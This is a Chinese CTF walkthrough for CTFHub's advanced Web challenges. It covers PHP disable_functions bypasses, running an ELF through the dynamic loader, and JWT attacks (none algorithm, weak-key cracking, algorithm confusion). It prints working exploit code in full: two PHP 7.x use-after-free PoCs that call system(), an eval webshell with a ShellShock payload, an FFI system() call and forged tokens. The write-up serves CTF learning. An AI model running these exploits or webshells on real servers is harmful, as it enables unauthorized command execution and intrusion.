CTFHub技能树 Web进阶详解

PHP

Bypass disable_function

PHP 的 disabled_functions主要是用于禁用一些危险的函数防止被一些攻击者利用
有四种绕过 disable_functions 的手法:

攻击后端组件,寻找存在命令注入的 web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞等等
寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼
mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制(让特定扩展名的文件直接和php-cgi通信);
利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果。
 

LD_PRELOAD

目标:获取服务器上 /flag 文件中的 flag。需要了解 Linux LD_PRELOAD 环境变量。

LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

启动环境

 使用蚁剑连接

 执行命令发现是不可以的,因为有限制

使用插件绕过(蚁剑使用梯子代理访问插件市场)

 自动生成了 .antproxy.php

 我们使用蚁剑连接

 发现命令可以执行,tac /flag 成功获得flag

ShellShock

利用PHP破壳完成 Bypass

ShellShock漏洞原理

仔细阅读ShellShock漏洞的过程

分析

详细参考文章(截图来源):

ShellShock(破壳漏洞)的简单分析_爱唠叨的老鱼-CSDN博客_shellshock

error_log用法

PHP error_log() 函数 | 菜鸟教程

蚁剑连接,如果连接失败可以换一个编码器。

我们写入shell.php文件

通过putenv来设置环境变量,默认putenv定义的环境变量名必须以PHP_开头。

error_log()函数会在执行sh -c -t -i触发payload

<?php
  @eval($_REQUEST['ant']);
  putenv("PHP_test=() { :; }; tac /flag >> /var/www/html/test.php");
  error_log("admin",1);
  //mail("admin@localhost","","","","");
?>

 通过浏览器访问 shell.php

 我们刷新目录生成了 test.php

查看test.php文件,成功获得test.php

Apache Mod CGI

了解 Apache Mod CGI 为什么会 Bypass disable_function

CGI:
CGI简单说来便是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言,linux shell,perl,vb等等都可以进行CGI编程.
MOD_CGI:
任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中.

蚁剑连接 

使用插件绕过

绕过的条件为:

第一,必须是apache环境
第二,mod_cgi已经启用
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
第四,必须有权限写.htaccess文件

蚁剑插件自动写入(我们也可以手工写入,要注意写入文件的权限)

.htaccess

如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。
这里,将所有.ant后缀的文件作为cgi脚本执行

 

 shell.ant

我们可以修改shell.ant的内容(写入命令),浏览器访问shell.ant

 也可以直接 tac /falg 成功获得flag

PHP-FPM

正常情况下, PHP-FPM 是不会对外开放的。在有 webshell 之后,这就变得不一样了。学习通过攻击 PHP-FPM 达到 Bypass 的目的。

补充知识:

Nginx+Php-fpm 运行原理详解

攻击PHP-FPM 实现Bypass Disable Functions

Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写

蚁剑连接 

插件选择 Fastcgi/PHP-FPM模式

FPM/FCGI 地址 localhost:9000      通讯地址我们选择本地的 (相当于他服务器的本地)

 生成 .antproxy.php

 蚁剑连接

直接 tac /flag  成功获得flag

 

GC UAF

理论上PHP本地代码执行漏洞都可以用来 Bypass disable_function, 比如 GC UAF

PHP :: Bug #72530 :: Use After Free in GC with Certain Destructors

利用的是PHP garbage collector程序中的堆溢出触发,影响范围为7.0-1.3

启动环境,蚁剑连接

 使用蚁剑插件,完事直接tac /flag

Json Serializer UAF

理论上PHP本地代码执行漏洞都可以用来 Bypass disable_function, 比如 PHP #77843 Json Serializer UAF 漏洞。

利用json序列化中的堆溢出触发,借以绕过disable_function,影响范围是:
7.1 – all versions to date
7.2 < 7.2.19 (released: 30 May 2019)
7.3 < 7.3.6 (released: 30 May 2019)


PHP :: Bug #77843 :: Use after free with json serializer

启动环境,蚁剑连接

使用蚁剑插件

 或者写入脚本,写入之后,运行即可执行命令

 脚本如下:

<?php

$cmd = "id";

$n_alloc = 10; # increase this value if you get segfaults

class MySplFixedArray extends SplFixedArray {
    public static $leak;
}

class Z implements JsonSerializable {
    public function write(&$str, $p, $v, $n = 8) {
      $i = 0;
      for($i = 0; $i < $n; $i++) {
        $str[$p + $i] = chr($v & 0xff);
        $v >>= 8;
      }
    }

    public function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    public function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    # unable to leak ro segments
    public function leak1($addr) {
        global $spl1;

        $this->write($this->abc, 8, $addr - 0x10);
        return strlen(get_class($spl1));
    }

    # the real deal
    public function leak2($addr, $p = 0, $s = 8) {
        global $spl1, $fake_tbl_off;

        # fake reference zval
        $this->write($this->abc, $fake_tbl_off + 0x10, 0xdeadbeef); # gc_refcounted
        $this->write($this->abc, $fake_tbl_off + 0x18, $addr + $p - 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 0x20, 6); # type (string)

        $leak = strlen($spl1::$leak);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }

        return $leak;
    }

    public function parse_elf($base) {
        $e_type = $this->leak2($base, 0x10, 2);

        $e_phoff = $this->leak2($base, 0x20);
        $e_phentsize = $this->leak2($base, 0x36, 2);
        $e_phnum = $this->leak2($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = $this->leak2($header, 0, 4);
            $p_flags = $this->leak2($header, 4, 4);
            $p_vaddr = $this->leak2($header, 0x10);
            $p_memsz = $this->leak2($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    public function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = $this->leak2($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = $this->leak2($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = $this->leak2($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    public function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = $this->leak2($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    public function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = $this->leak2($addr);
            $f_name = $this->leak2($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return $this->leak2($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    public function jsonSerialize() {
        global $y, $cmd, $spl1, $fake_tbl_off, $n_alloc;

        $contiguous = [];
        for($i = 0; $i < $n_alloc; $i++)
            $contiguous[] = new DateInterval('PT1S');

        $room = [];
        for($i = 0; $i < $n_alloc; $i++)
            $room[] = new Z();

        $_protector = $this->ptr2str(0, 78);

        $this->abc = $this->ptr2str(0, 79);
        $p = new DateInterval('PT1S');

        unset($y[0]);
        unset($p);

        $protector = ".$_protector";

        $x = new DateInterval('PT1S');
        $x->d = 0x2000;
        $x->h = 0xdeadbeef;
        # $this->abc is now of size 0x2000

        if($this->str2ptr($this->abc) != 0xdeadbeef) {
            die('UAF failed.');
        }

        $spl1 = new MySplFixedArray();
        $spl2 = new MySplFixedArray();

        # some leaks
        $class_entry = $this->str2ptr($this->abc, 0x120);
        $handlers = $this->str2ptr($this->abc, 0x128);
        $php_heap = $this->str2ptr($this->abc, 0x1a8);
        $abc_addr = $php_heap - 0x218;

        # create a fake class_entry
        $fake_obj = $abc_addr;
        $this->write($this->abc, 0, 2); # type
        $this->write($this->abc, 0x120, $abc_addr); # fake class_entry

        # copy some of class_entry definition
        for($i = 0; $i < 16; $i++) {
            $this->write($this->abc, 0x10 + $i * 8, 
                $this->leak1($class_entry + 0x10 + $i * 8));
        }

        # fake static members table
        $fake_tbl_off = 0x70 * 4 - 16;
        $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off);
        $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off);

        # fake zval_reference
        $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval
        $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference)

        # look for binary base
        $binary_leak = $this->leak2($handlers + 0x10);
        if(!($base = $this->get_binary_base($binary_leak))) {
            die("Couldn't determine binary base address");
        }

        # parse elf header
        if(!($elf = $this->parse_elf($base))) {
            die("Couldn't parse ELF");
        }

        # get basic_functions address
        if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) {
            die("Couldn't get basic_functions address");
        }

        # find system entry
        if(!($zif_system = $this->get_system($basic_funcs))) {
            die("Couldn't get zif_system address");
        }
        
        # copy hashtable offsetGet bucket
        $fake_bkt_off = 0x70 * 5 - 16;

        $function_data = $this->str2ptr($this->abc, 0x50);
        for($i = 0; $i < 4; $i++) {
            $this->write($this->abc, $fake_bkt_off + $i * 8, 
                $this->leak2($function_data + 0x40 * 4, $i * 8));
        }

        # create a fake bucket
        $fake_bkt_addr = $abc_addr + $fake_bkt_off;
        $this->write($this->abc, 0x50, $fake_bkt_addr);
        for($i = 0; $i < 3; $i++) {
            $this->write($this->abc, 0x58 + $i * 4, 1, 4);
        }

        # copy bucket zval
        $function_zval = $this->str2ptr($this->abc, $fake_bkt_off);
        for($i = 0; $i < 12; $i++) {
            $this->write($this->abc,  $fake_bkt_off + 0x70 + $i * 8, 
                $this->leak2($function_zval, $i * 8));
        }

        # pwn
        $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system);
        $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70);

        $spl1->offsetGet($cmd);

        exit();
    }
}

$y = [new Z()];
json_encode([&$y]);

Backtrace UAF

理论上PHP本地代码执行漏洞都可以用来 Bypass disable_function

PHP :: Bug #76047 :: Use-after-free when accessing already destructed backtrace arguments

使用蚁剑插件

 或者写入脚本,浏览器访问

脚本:

<?php

# PHP 7.0-7.4 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=76047
# debug_backtrace() returns a reference to a variable 
# that has been destroyed, causing a UAF vulnerability.
#
# This exploit should work on all PHP 7.0-7.4 versions
# released as of 30/01/2020.
#
# Author: https://github.com/mm0r1

pwn("tac /flag");

function pwn($cmd) {
    global $abc, $helper, $backtrace;

    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }

    class Helper {
        public $a, $b, $c, $d;
    }

    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }

    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= chr($ptr & 0xff);
            $ptr >>= 8;
        }
        return $out;
    }

    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = chr($v & 0xff);
            $v >>= 8;
        }
    }

    function leak($addr, $p = 0, $s = 8) {
        global $abc, $helper;
        write($abc, 0x68, $addr + $p - 0x10);
        $leak = strlen($helper->a);
        if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
        return $leak;
    }

    function parse_elf($base) {
        $e_type = leak($base, 0x10, 2);

        $e_phoff = leak($base, 0x20);
        $e_phentsize = leak($base, 0x36, 2);
        $e_phnum = leak($base, 0x38, 2);

        for($i = 0; $i < $e_phnum; $i++) {
            $header = $base + $e_phoff + $i * $e_phentsize;
            $p_type  = leak($header, 0, 4);
            $p_flags = leak($header, 4, 4);
            $p_vaddr = leak($header, 0x10);
            $p_memsz = leak($header, 0x28);

            if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
                # handle pie
                $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
                $data_size = $p_memsz;
            } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
                $text_size = $p_memsz;
            }
        }

        if(!$data_addr || !$text_size || !$data_size)
            return false;

        return [$data_addr, $text_size, $data_size];
    }

    function get_basic_funcs($base, $elf) {
        list($data_addr, $text_size, $data_size) = $elf;
        for($i = 0; $i < $data_size / 8; $i++) {
            $leak = leak($data_addr, $i * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'constant' constant check
                if($deref != 0x746e6174736e6f63)
                    continue;
            } else continue;

            $leak = leak($data_addr, ($i + 4) * 8);
            if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
                $deref = leak($leak);
                # 'bin2hex' constant check
                if($deref != 0x786568326e6962)
                    continue;
            } else continue;

            return $data_addr + $i * 8;
        }
    }

    function get_binary_base($binary_leak) {
        $base = 0;
        $start = $binary_leak & 0xfffffffffffff000;
        for($i = 0; $i < 0x1000; $i++) {
            $addr = $start - 0x1000 * $i;
            $leak = leak($addr, 0, 7);
            if($leak == 0x10102464c457f) { # ELF header
                return $addr;
            }
        }
    }

    function get_system($basic_funcs) {
        $addr = $basic_funcs;
        do {
            $f_entry = leak($addr);
            $f_name = leak($f_entry, 0, 6);

            if($f_name == 0x6d6574737973) { # system
                return leak($addr + 8);
            }
            $addr += 0x20;
        } while($f_entry != 0);
        return false;
    }

    function trigger_uaf($arg) {
        # str_shuffle prevents opcache string interning
        $arg = str_shuffle(str_repeat('A', 79));
        $vuln = new Vuln();
        $vuln->a = $arg;
    }

    if(stristr(PHP_OS, 'WIN')) {
        die('This PoC is for *nix systems only.');
    }

    $n_alloc = 10; # increase this value if UAF fails
    $contiguous = [];
    for($i = 0; $i < $n_alloc; $i++)
        $contiguous[] = str_shuffle(str_repeat('A', 79));

    trigger_uaf('x');
    $abc = $backtrace[1]['args'][0];

    $helper = new Helper;
    $helper->b = function ($x) { };

    if(strlen($abc) == 79 || strlen($abc) == 0) {
        die("UAF failed");
    }

    # leaks
    $closure_handlers = str2ptr($abc, 0);
    $php_heap = str2ptr($abc, 0x58);
    $abc_addr = $php_heap - 0xc8;

    # fake value
    write($abc, 0x60, 2);
    write($abc, 0x70, 6);

    # fake reference
    write($abc, 0x10, $abc_addr + 0x60);
    write($abc, 0x18, 0xa);

    $closure_obj = str2ptr($abc, 0x20);

    $binary_leak = leak($closure_handlers, 8);
    if(!($base = get_binary_base($binary_leak))) {
        die("Couldn't determine binary base address");
    }

    if(!($elf = parse_elf($base))) {
        die("Couldn't parse ELF header");
    }

    if(!($basic_funcs = get_basic_funcs($base, $elf))) {
        die("Couldn't get basic_functions address");
    }

    if(!($zif_system = get_system($basic_funcs))) {
        die("Couldn't get zif_system address");
    }

    # fake closure object
    $fake_obj_offset = 0xd0;
    for($i = 0; $i < 0x110; $i += 8) {
        write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
    }

    # pwn
    write($abc, 0x20, $abc_addr + $fake_obj_offset);
    write($abc, 0xd0 + 0x38, 1, 4); # internal func type
    write($abc, 0xd0 + 0x68, $zif_system); # internal func handler

    ($helper->b)($cmd);
    exit();
}

FFI 扩展

FFI 扩展已经通过RFC, 正式成为PHP7.4的捆绑扩展库, FFI 扩展允许 PHP 执行嵌入式 C 代码。

PHP FFI详解 - 一种全新的PHP扩展方式 - 风雪之隅

php>7.4,开启了FFI扩展ffi.enable=true,我们可以通过FFI来调用C中的system进而达到执行命令的目的

使用蚁剑插件

写入如下代码:

 脚本:

<?php
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("tac /flag > /tmp/123");
echo file_get_contents("/tmp/123");
@unlink("/tmp/123");

iconv

使用GCONV_PATH与iconv进行bypass disable_functions_lesion__的博客-CSDN博客

蚁剑连接,插件生成 .antproxy.php 

连接 .antproxy.php  

 执行命令 

 .antproxy.php 

<?php
function get_client_header(){
    $headers=array();
    foreach($_SERVER as $k=>$v){
        if(strpos($k,'HTTP_')===0){
            $k=strtolower(preg_replace('/^HTTP/', '', $k));
            $k=preg_replace_callback('/_\w/','header_callback',$k);
            $k=preg_replace('/^_/','',$k);
            $k=str_replace('_','-',$k);
            if($k=='Host') continue;
            $headers[]="$k:$v";
        }
    }
    return $headers;
}
function header_callback($str){
    return strtoupper($str[0]);
}
function parseHeader($sResponse){
    list($headerstr,$sResponse)=explode("

",$sResponse, 2);
    $ret=array($headerstr,$sResponse);
    if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
        $ret=parseHeader($sResponse);
    }
    return $ret;
}

set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 64870;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";

if (!empty($_SERVER['QUERY_STRING'])){
    $url .= "?".$_SERVER['QUERY_STRING'];
};

$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
    return false;
}

$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
    $method = "POST";
    $post_data = file_get_contents('php://input');
}

$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
    $out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";

$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;

fputs($fp, $out);

$response = '';
while($row=fread($fp, 4096)){
    $response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;

bypass iconv 1 && bypass iconv 2

使用插件绕过,与 iconv 步骤一致,不在演示

Linux

动态加载器

本题难度较大,谨慎开启。学习 Linux ELF Dynaamic Loader 技术。在 ELF 无 x 权限时运行 ELF 文件。

补充知识

ELF (文件格式):在计算机科学中,是一种用于二进制文件可执行文件目标代码、共享库和核心转储格式文件

通俗理解成在linux下的可执行文件

启动环境

 蚁剑连接

 终端执行命令  /readflag  tac /flag

提示我们没有权限

 

 我们的提权的操作是不允许的

再回到题目提示 使用Linux ELF Dynaamic Loader 技术

我们需要用到动态加载器来做到间接执行 /readflag 文件

这就需要用到  动态库链接器/加载器ld-linux.so.2

ld-linux.so.2是什么文件?

这是glibc的库文件,一般链接到相应版本的ld-xxx.so上,是和动态库载入有关的函数

很多现代应用都是通过动态编译链接的,当一个 需要动态链接 的应用被操作系统加载时,系统必须要 定位 然后 加载它所需要的所有动态库文件。 在Linux环境下,这项工作是由ld-linux.so.2来负责完成的,我们可以通过 ldd 命令来查看一个 应用需要哪些依赖的动态库:

1
2
3
4
5
6
7
8
9
10
11
$ ldd `which ls`
      linux-gate.so.1 =>  (0xb7fff000)
      librt.so.1 => /lib/librt.so.1 (0x00b98000)
      libacl.so.1 => /lib/libacl.so.1 (0x00769000)
      libselinux.so.1 => /lib/libselinux.so.1 (0x00642000)
      libc.so.6 => /lib/libc.so.6 (0x007b2000)
      libpthread.so.0 => /lib/libpthread.so.0 (0x00920000)
      /lib/ld-linux.so.2 (0x00795000)
      libattr.so.1 => /lib/libattr.so.1 (0x00762000)
      libdl.so.2 => /lib/libdl.so.2 (0x0091a000)
      libsepol.so.1 => /lib/libsepol.so.1 (0x0065b000)

当最常见的ls小程序加载时,操作系统会将 控制权 交给 ld-linux.so 而不是 交给程序正常的进入地址。 ld-linux.so.2 会寻找然后加载所有需要的库文件,然后再将控制权交给应用的起始入口。

上面的ls在启动时,就需要ld-linux.so加载器将所有的动态库加载后然后再将控制权移交给ls程序的入口。

ld-linux.so.2 man page给我们更高一层的全局介绍, 它是在 链接器(通常是ld)在运行状态下的部件,用来定位和加载动态库到应用的运行地址(或者是运行内存)当中去。通常,动态链接是 在连接阶段当中 隐式指定的。 gcc -W1 options -L/path/included -lxxx 会将 options 传递到ld 然后指定相应的动态库加载。 ELF 文件提供了相应的加载信息, GCC包含了一个特殊的 ELF 头: INTERP, 这个 INTERP指定了 加载器的路径,我们可以用readelf 来查看相应的程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ readelf -l a.out

Elf file type is EXEC (Executable file)
Entry point 0x8048310
There are 9 program headers, starting at offset 52

Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R E 0x4
  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1
      [Requesting program interpreter: /lib/ld-linux.so.2]
  LOAD           0x000000 0x08048000 0x08048000 0x004cc 0x004cc R E 0x1000
  LOAD           0x000f0c 0x08049f0c 0x08049f0c 0x0010c 0x00110 RW  0x1000
. . .

ELF 规格要求,假如 PT_INTERP 存在的话,操作系统必须创建这个 interpreter文件的运行映射,而不是这个程序本身, 控制权会交给这个interpreter,用来定位和加载所有的动态库.

直接执行以下命令,即可获得flag

/lib64/ld-linux-x86-64.so.2 /readflag

 参考文章:

动态加载器 | CTFHub

理解ld-linux.so.2_weixin_34381687的博客-CSDN博客

JSON Web Token

基础知识

JWT基础知识

敏感信息泄露

JWT 的头部和有效载荷这两部分的数据是以明文形式传输的,如果其中包含了敏感信息的话,就会发生敏感信息泄露。试着找出FLAG。格式为 flag{}

JSON WEB TOKEN(缩写 JWT),服务器认证以后,生成一个 JSON 对象,发回给用户。
以后,用户与服务端通信的时候,都要发回这个 JSON 对象。
服务器完全只靠这个对象认定用户身份。
为了防止用户篡改数据,服务器在生成这个对象的时候,会加上签名。

JWT 的结构 :

由三部分构成:
Header.Payload.Signature
头部.负载.签名

启动环境,admin admin 登录抓包

 分析token,base64解码,找到我们想要的 flag

头部:eyJBRyI6IjA0MTRjNDRmYTczMzRhY30iLCJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.
负载:eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiJhZG1pbiIsIkZMIjoiY3RmaHViezliNTdmZGQzYyJ9.
签名:wFWJki2ApdGWYpjgfznzzS651nzz99MPr3FPNyZ2tWI

 无签名

一些JWT库也支持none算法,即不使用签名算法。当alg字段为空时,后端将不执行签名验证。尝试找到 flag。

登录,抓包

将token解码

 发现        alg 为 HS256 

                role 为 guest

我们需要将guest 修改为 admin ,并且将 alg 改为 none

当alg字段为空时,后端将不执行签名验证

 

我们拼接起来,去掉JWT中的signature数据  仅剩header + '.' + payload + '.' 

token=eyJ0eXAiOiJKV1QiICwgImFsZyI6Im5vbmUifQ==.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxIiAsICJyb2xlIjoiYWRtaW4ifQ==.

弱密钥

如果JWT采用对称加密算法,并且密钥的强度较弱的话,攻击者可以直接通过蛮力攻击方式来破解密钥。尝试获取flag

对JWT的密钥爆破需要在一定的前提下进行:

  • 知悉JWT使用的加密算法
  • 一段有效的、已签名的token
  • 签名用的密钥不复杂(弱密钥)

登录抓包 ,获取到 token,JSON Web Tokens - jwt.io 使用该网址在线解密

使用工具:https://github.com/brendan-rius/c-jwt-cracker

需要先安装 apt-get install libssl-dev ,然后 make

就可执行命令了 

./jwtcrack token(抓包获取到的token)

我们可看到我的密钥是 udln

我们将密钥写入签名中

并将 role 改为 admin

 提交即可获得token

修改签名算法

有些JWT库支持多种密码算法进行签名、验签。若目标使用非对称密码算法时,有时攻击者可以获取到公钥,此时可通过修改JWT头部的签名算法,将非对称密码算法改为对称密码算法,从而达到攻击者目的。

登录可以看到源码和publickey.pem

源码: 

分析源码就会发现加密密钥为RS256,但又存在HS256,即可修改算法RS256为HS256(非对称密码算法 => 对称密码算法),如果将算法从RS256更改为HS256,后端代码会使用公钥作为秘密密钥,然后使用HS256算法验证签名

HMAC是密钥相关的哈希运算消息认证码(Hash-based Message Authentication Code)的缩写,它是一种对称加密算法,使用相同的密钥对传输信息进行加解密

RSA则是一种非对称加密算法,使用私钥加密明文,公钥解密密文

<!DOCTYPE html>
<html>
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
        <title>CTFHub JWTDemo</title>
        <link rel="stylesheet" href="/static/style.css" />
    </head>
    <body>
        <main id="content">
            <header>Web Login</header>
            <form id="login-form" method="POST">
                <input type="text" name="username" placeholder="Username" />
                <input type="password" name="password" placeholder="Password" />
                <input type="submit" name="action" value="Login" />
            </form>
            <a href="/publickey.pem">publickey.pem</a>
        </main>
        <?php echo $_COOKIE['token'];?>
        <hr/>
    </body>
</html>

<?php
require __DIR__ . '/vendor/autoload.php';
use \Firebase\JWT\JWT;

class JWTHelper {
  public static function encode($payload=array(), $key='', $alg='HS256') {
    return JWT::encode($payload, $key, $alg);
  }
  public static function decode($token, $key, $alg='HS256') {
    try{
            $header = JWTHelper::getHeader($token);
            $algs = array_merge(array($header->alg, $alg));
      return JWT::decode($token, $key, $algs);
    } catch(Exception $e){
      return false;
    }
    }
    public static function getHeader($jwt) {
        $tks = explode('.', $jwt);
        list($headb64, $bodyb64, $cryptob64) = $tks;
        $header = JWT::jsonDecode(JWT::urlsafeB64Decode($headb64));
        return $header;
    }
}

$FLAG = getenv("FLAG");
$PRIVATE_KEY = file_get_contents("/privatekey.pem");
$PUBLIC_KEY = file_get_contents("./publickey.pem");

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (!empty($_POST['username']) && !empty($_POST['password'])) {
        $token = "";
        if($_POST['username'] === 'admin' && $_POST['password'] === $FLAG){
            $jwt_payload = array(
                'username' => $_POST['username'],
                'role'=> 'admin',
            );
            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
        } else {
            $jwt_payload = array(
                'username' => $_POST['username'],
                'role'=> 'guest',
            );
            $token = JWTHelper::encode($jwt_payload, $PRIVATE_KEY, 'RS256');
        }
        @setcookie("token", $token, time()+1800);
        header("Location: /index.php");
        exit();
    } else {
        @setcookie("token", "");
        header("Location: /index.php");
        exit();
    }
} else {
    if(!empty($_COOKIE['token']) && JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY) != false) {
        $obj = JWTHelper::decode($_COOKIE['token'], $PUBLIC_KEY);
        if ($obj->role === 'admin') {
            echo $FLAG;
        }
    } else {
        show_source(__FILE__);
    }
}
?>

 publickey.pem

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyywHzTEZr7OSIcjwV3cd
B5eHMyMSQrWr16x8593B+yr7QInpJYn4IvVxSzCgSc21NATZGTWvybVmgrgk775T
yBodiLF9RcTTNw5p26U/CDWW5uYp4gkM4LjeR6MUqZZXmvN6e+dT2F0+VaXG/wzb
6oxvMKoDd3v8iizhUO8GwJiqIwRZG/YD3136+w4kYKY9mDdSwEp5C1zNBZQdkOKz
kUpcAtHTezwVCtTgTAGxB8Pgj7Ic/onxTGvLy5/yKSvX3Sf6oXJOq/KLWIq4IpA4
1DrGclf+3XsCnIoJl7AtucfOS/xmV900Xpoxmmsbq/sPS7XzKZN7wx6TQatU4cHg
kQIDAQAB
-----END PUBLIC KEY-----

写脚本进行HS256加密

public 中的内容是自己 publickey.pem 文件中的内容

import jwt
import base64
public = '''-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAyywHzTEZr7OSIcjwV3cd
B5eHMyMSQrWr16x8593B+yr7QInpJYn4IvVxSzCgSc21NATZGTWvybVmgrgk775T
yBodiLF9RcTTNw5p26U/CDWW5uYp4gkM4LjeR6MUqZZXmvN6e+dT2F0+VaXG/wzb
6oxvMKoDd3v8iizhUO8GwJiqIwRZG/YD3136+w4kYKY9mDdSwEp5C1zNBZQdkOKz
kUpcAtHTezwVCtTgTAGxB8Pgj7Ic/onxTGvLy5/yKSvX3Sf6oXJOq/KLWIq4IpA4
1DrGclf+3XsCnIoJl7AtucfOS/xmV900Xpoxmmsbq/sPS7XzKZN7wx6TQatU4cHg
kQIDAQAB
-----END PUBLIC KEY-----
'''
payload={
  "username": "admin",
  "role": "admin"
}
